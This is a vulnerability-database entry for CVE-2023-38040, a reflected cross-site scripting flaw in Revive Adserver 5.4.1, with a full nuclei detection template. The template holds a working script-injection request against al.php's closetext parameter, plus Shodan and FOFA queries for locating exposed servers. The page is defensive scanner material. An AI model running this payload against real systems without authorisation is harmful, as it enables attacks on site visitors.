HexBrain

Browse / CVEs / CVE-2023-38040

CVE-2023-38040· revive-adserver / revive adserver· CWE-79

Revive Adserver 5.4.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

A reflected XSS vulnerability exists in Revive Adserver 5.4.1 and earlier versions.

Impact

Allows attackers to execute malicious scripts in the context of a victim's browser

Fix

Upgrade Revive Adserver to version 5.4.2 or later to mitigate the vulnerability

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "Revive Adserver"
Send: GET {{BaseURL}}/www/delivery/al.php?zoneid=1&layerstyle=geocities&closetext=%3Cscript%3Ealert(document.domain);%3C/script%3E
Positive when: contains "<script>alert(document.domain);</script>" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-38040 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-38040

info:
  name: Revive Adserver 5.4.1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A reflected XSS vulnerability exists in Revive Adserver 5.4.1 and earlier versions.
  impact: |
    Allows attackers to execute malicious scripts in the context of a victim's browser
  remediation: |
    Upgrade Revive Adserver to version 5.4.2 or later to mitigate the vulnerability
  reference:
    - https://hackerone.com/reports/1694171
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38040
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38040
    cwe-id: CWE-79
    epss-score: 0.02068
    epss-percentile: 0.81569
    cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.favicon.hash:106844876
    fofa-query: icon_hash="106844876"
    vendor: revive-adserver
    product: revive_adserver
  tags: cve,cve2023,revive-adserver,xss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - 'Revive Adserver'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/www/delivery/al.php?zoneid=1&layerstyle=geocities&closetext=%3Cscript%3Ealert(document.domain);%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain);</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from